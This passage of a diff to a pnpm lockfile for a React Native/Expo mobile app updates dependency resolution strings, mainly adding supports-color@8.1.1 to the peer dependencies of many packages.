3.1.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 3.1.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) '@react-native-menu/menu': specifier: ^2.0.0 - version: 2.0.0(patch_hash=a4866ecfcd44f318043de839d20110c17e14909004900f002ffe12050376f2ba)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 2.0.0(patch_hash=a4866ecfcd44f318043de839d20110c17e14909004900f002ffe12050376f2ba)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) '@react-navigation/elements': specifier: 2.9.45 - version: 2.9.45(da16e244bd876bd7d4e1e8899c8eabfd) + version: 2.9.45(d8845bac868f4d8a58c8a8f12ad0d4a5) '@react-navigation/native': specifier: 7.5.1 - version: 7.5.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 7.5.1(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) '@react-navigation/native-stack': specifier: 7.21.0 - version: 7.21.0(patch_hash=caae6552051bce91a85f567f3a08f9c8d25ce4c53f65a9391a67f016bb1d798e)(16f893500fb9de13b2f16d636ddf6f9b) + version: 7.21.0(patch_hash=caae6552051bce91a85f567f3a08f9c8d25ce4c53f65a9391a67f016bb1d798e)(1ce92c52c0c48e16a6deb7b7b0829a25) '@shikijs/core': specifier: 4.2.0 version: 4.2.0 @@ -566,7 +565,7 @@ importers: version: file:apps/mobile/modules/t3-review-diff '@t3tools/mobile-source-text': specifier: file:./modules/t3-source-text - version: file:apps/mobile/modules/t3-source-text(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: file:apps/mobile/modules/t3-source-text(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) '@t3tools/mobile-terminal-native': specifier: file:./modules/t3-terminal version: file:apps/mobile/modules/t3-terminal @@ -596,7 +595,7 @@ importers: version: link:../../packages/shared '@tabler/icons-react-native': specifier: ^3.44.0 - version: 3.44.0(react-native-svg@15.16.0(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react@19.3.0) + version: 3.44.0(react-native-svg@15.16.0(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0))(react@19.3.0) clsx: specifier: ^2.1.1 version: 2.1.1 @@ -608,40 +607,40 @@ importers: version: 4.0.5 expo: specifier: 58.0.14 - version: 58.0.14(1106b1d11fc0fad6d0556b6a93329d99) + version: 58.0.14(f758e93be082e96fe84cde9538c0a615) expo-application: specifier: ~58.1.2 version: 58.1.2(expo@58.0.14) expo-asset: specifier: ~58.0.16 - version: 58.0.16(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2) + version: 58.0.16(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2) expo-audio: specifier: 58.0.9 - version: 58.0.9(patch_hash=2c2f8c73a23d48804c8b537b8cd73c25eb331aa47d82eaa481c6766cb81e5add)(expo-asset@58.0.16(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2))(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.9(patch_hash=2c2f8c73a23d48804c8b537b8cd73c25eb331aa47d82eaa481c6766cb81e5add)(expo-asset@58.0.16(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2))(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-auth-session: specifier: ~58.0.13 - version: 58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2) + version: 58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2) expo-blur: specifier: 58.0.4 - version: 58.0.4(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.4(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-build-properties: specifier: ~58.0.11 version: 58.0.11(expo@58.0.14) expo-camera: specifier: ~58.0.10 - version: 58.0.10(@types/emscripten@1.41.5)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.10(@types/emscripten@1.41.5)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-clipboard: specifier: ~58.0.3 - version: 58.0.3(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.3(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-constants: specifier: 58.0.12 - version: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(typescript@7.0.2) + version: 58.0.12(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(supports-color@8.1.1)(typescript@7.0.2) expo-crypto: specifier: ~58.0.7 version: 58.0.7(expo@58.0.14) expo-dev-client: specifier: ~58.0.14 - version: 58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) + version: 58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) expo-device: specifier: ~58.0.5 version: 58.0.5(expo@58.0.14) @@ -650,22 +649,22 @@ importers: version: 58.0.4(expo@58.0.14) expo-file-system: specifier: ~58.0.9 - version: 58.0.9(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) + version: 58.0.9(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) expo-font: specifier: ~58.0.8 - version: 58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-glass-effect: specifier: 58.0.4 - version: 58.0.4(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.4(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-haptics: specifier: ~58.0.7 version: 58.0.7(expo@58.0.14) expo-image: specifier: ~58.0.15 - version: 58.0.15(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.15(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-image-manipulator: specifier: ~58.0.14 - version: 58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-image-picker: specifier: ~58.0.10 version: 58.0.10(expo@58.0.14) @@ -674,49 +673,49 @@ importers: version: 58.0.3(expo@58.0.14)(react@19.3.0) expo-linking: specifier: ~58.0.13 - version: 58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2) + version: 58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2) expo-network: specifier: ~58.0.3 version: 58.0.3(patch_hash=cd09b6d1744dde4efa081b5619ebcff38877d98f7502a51cab121629dece8237)(expo@58.0.14)(react@19.3.0) expo-notifications: specifier: ~58.1.5 - version: 58.1.5(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2) + version: 58.1.5(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2) expo-paste-input: specifier: ^0.1.15 - version: 0.1.15(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 0.1.15(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-quick-actions: specifier: ^6.0.2 - version: 6.0.2(expo@58.0.14)(typescript@7.0.2) + version: 6.0.2(expo@58.0.14)(supports-color@8.1.1)(typescript@7.0.2) expo-secure-store: specifier: ~58.0.2 version: 58.0.2(expo@58.0.14) expo-sensors: specifier: ~58.0.4 - version: 58.0.4(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) + version: 58.0.4(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) expo-sharing: specifier: 58.0.19 - version: 58.0.19(patch_hash=61a9741dc6166fdbb5baa2e489275a65dd21aa11d2c915f490a1b337a4468e76)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0)(typescript@7.0.2) + version: 58.0.19(patch_hash=61a9741dc6166fdbb5baa2e489275a65dd21aa11d2c915f490a1b337a4468e76)(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1)(typescript@7.0.2) expo-splash-screen: specifier: ~58.0.10 - version: 58.0.10(expo@58.0.14)(typescript@7.0.2) + version: 58.0.10(expo@58.0.14)(supports-color@8.1.1)(typescript@7.0.2) expo-sqlite: specifier: ~58.0.13 - version: 58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.13(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-symbols: specifier: ~58.0.4 - version: 58.0.4(expo-font@58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.4(expo-font@58.0.8(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0))(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-updates: specifier: ~58.0.17 - version: 58.0.17(expo-dev-client@58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)))(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.17(expo-dev-client@58.0.14(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)))(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1) expo-video: specifier: ~58.0.11 - version: 58.0.11(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.11(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) expo-web-browser: specifier: ~58.0.6 - version: 58.0.6(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6)) + version: 58.0.6(expo@58.0.14)(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6)) expo-widgets: specifier: 58.0.20 - version: 58.0.20(patch_hash=8bf49067f93742855e15f29559ac75c8b50230b47069060993c9ea01dac11171)(@babel/core@7.29.7)(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native-worklets@0.13.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0))(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 58.0.20(patch_hash=8bf49067f93742855e15f29559ac75c8b50230b47069060993c9ea01dac11171)(@babel/core@7.29.7(supports-color@8.1.1))(expo@58.0.14)(react-dom@19.3.0(react@19.3.0))(react-native-worklets@0.13.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0)(supports-color@8.1.1))(react-native@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(react@19.3.0) react: specifier: 'catalog:' version: 19.3.0 @@ -725,55 +724,55 @@ importers: version: 19.3.0(react@19.3.0) react-native: specifier: 0.88.0 - version: 0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6) + version: 0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(@react-native/metro-config@0.88.0(@babel/core@7.29.7(supports-color@8.1.1))(bufferutil@4.1.0)(supports-color@8.1.1)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(supports-color@8.1.1)(utf-8-validate@6.0.6) react-native-blob-util: specifier: 0.25.1 - version: 0.25.1(react-native@0.88.0(@babel/core@7.29.7)(@react-native/metro-config@0.88.0(@babel/core@7.29.7)(bufferutil@4.1.0)(utf-8-validate@6.0.6))(@types/react@19.3.0)(bufferutil@4.1.0)(react@19.3.0)(utf-8-validate@6.0.6))(react@19.3.0) + version: 